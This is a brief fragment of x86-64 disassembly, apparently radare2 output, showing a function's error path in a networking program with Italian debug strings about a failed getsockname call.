lea rdx, str.Impossibile_recuperare_il_getsockname
mov rcx, rbx
call dbg.l_closeconn
jmp 0x100413a5f
mov dword [rbx + 0xbc], 3
mov rcx, qword [rbx + 0x98]
lea rdx, [0x100452650]
call dbg.notice
nop
add rsp, 0xc8
pop rbx
pop rsi
ret